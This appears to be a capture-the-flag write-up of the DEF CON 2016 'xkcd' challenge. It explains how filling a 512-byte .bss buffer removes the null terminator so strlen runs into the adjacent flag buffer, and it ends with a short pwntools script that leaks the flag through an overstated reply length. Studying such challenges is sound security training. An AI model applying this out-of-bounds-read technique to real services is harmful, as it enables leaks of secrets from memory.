articleSep 18, 2020
DEF CON 2016 xkcd writeup
Statically linked xkcd challenge: a heartbeat-style reply buffer sits 0x200 bytes before the flag in .bss, so an overstated length turns strlen into an out-of-bounds read.
Vulnerability analysis

Other notes:
- Statically linked, 64-bit
- Heartbeat-style packet
Protections
- No RELRO
- No canary
- NX enabled
- No PIE
Binary behavior
root@e5e68faa5052:/home/Zer0Luck/challenges/xkcd# ./xkcd
Could not open the flag.
|-> 현재 디렉토리에 flag 파일을 생성한 후에 분석을 시도하자Create a flag file in the working directory before you dig in.
main

main reads the flag file into a flag buffer.

flag globalflag lives in .bss as a global. User input then drives a path that uses strtok to split on characters and check whether certain strings are present:
SERVER, ARE YOU STILL THERE?
IF SO, REPLY "
strtok
After that, the code cuts through the closing " and memcpys the reply body into the globals buffer.

globals
globals is 512 bytes and sits in the same .bss region, 0x200 bytes away from flag.

0x200-byte gap

Length check
strtok around ( ) feeds an integer into __isoc99_sscanf. The program then compares that claimed length against strlen(globals). If globals is shorter, it prints that many bytes. If you claim a larger length than strlen reports, you get Nice Try.

Approach
Attack idea
globals and flag share .bss, with flag starting 0x200 bytes after globals. Fill all 512 bytes of globals so there is no terminating null between the buffers. Then strlen walks past globals into flag and reports globals+flag length. Claim that larger length and the echo becomes an out-of-bounds read.
from pwn import *
e = ELF("./xkcd")
flag = ''
for i in range(1, 257):
p = process("./xkcd")
data = 'SERVER, ARE YOU STILL THERE? IF SO, REPLY "%s" (%d)'%("A"*512, 512+i)
p.sendline(data)
print p.recvline().strip("A")
Flag
That path recovers the flag.